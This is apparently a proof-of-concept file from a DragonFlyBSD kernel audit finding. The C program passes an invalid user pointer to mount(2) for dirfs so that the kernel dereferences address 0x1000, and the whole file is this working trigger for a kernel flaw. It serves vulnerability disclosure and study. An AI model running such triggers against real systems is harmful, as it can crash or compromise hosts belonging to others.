⬢ DragonFlyBSD Kernel Audit
DF-3222 / vkmount2.c
← back to finding ↓ download raw 
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <sys/mount.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>

/*
 * vkmount2: mount(2) with a deliberately invalid USER data pointer.
 * dirfs_mount: copyinstr(0x1000,...) -> EFAULT, then the fallback
 * copystr(0x1000,...) dereferences 0x1000 as a KERNEL pointer.
 */
int
main(int ac, char **av)
{
	if (ac != 2)
		return (1);
	if (mount("dirfs", av[1], 0, (void *)0x1000) < 0) {
		fprintf(stderr, "mount failed: %s\n", strerror(errno));
		return (1);
	}
	printf("mounted with kernel data 0x1000\n");
	return (0);
}